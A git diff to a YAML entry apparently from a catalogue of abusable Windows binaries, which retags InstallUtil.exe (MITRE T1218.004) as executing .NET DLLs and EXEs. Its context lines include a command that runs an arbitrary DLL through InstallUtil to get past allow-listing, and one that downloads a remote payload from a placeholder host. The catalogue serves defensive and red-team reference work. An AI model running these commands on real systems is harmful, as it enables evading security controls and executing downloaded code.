diff --git a/yml/OSBinaries/Installutil.yml b/yml/OSBinaries/Installutil.yml index 40d9a44..a5868ca 100644 --- a/yml/OSBinaries/Installutil.yml +++ b/yml/OSBinaries/Installutil.yml @@ -12,7 +12,8 @@ Commands: MitreID: T1218.004 OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11 Tags: - - Execute: DLL + - Execute: .NetDLL + - Execute: .NetEXE - Input: Custom Format - Command: InstallUtil.exe /logfile= /LogToConsole=false /U AllTheThings.dll Description: Execute the target .NET DLL or EXE. @@ -22,7 +23,8 @@ Commands: MitreID: T1218.004 OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11 Tags: - - Execute: DLL + - Execute: .NetDLL + - Execute: .NetEXE - Input: Custom Format - Command: InstallUtil.exe https://example.com/payload Description: It will download a remote payload and place it in INetCache.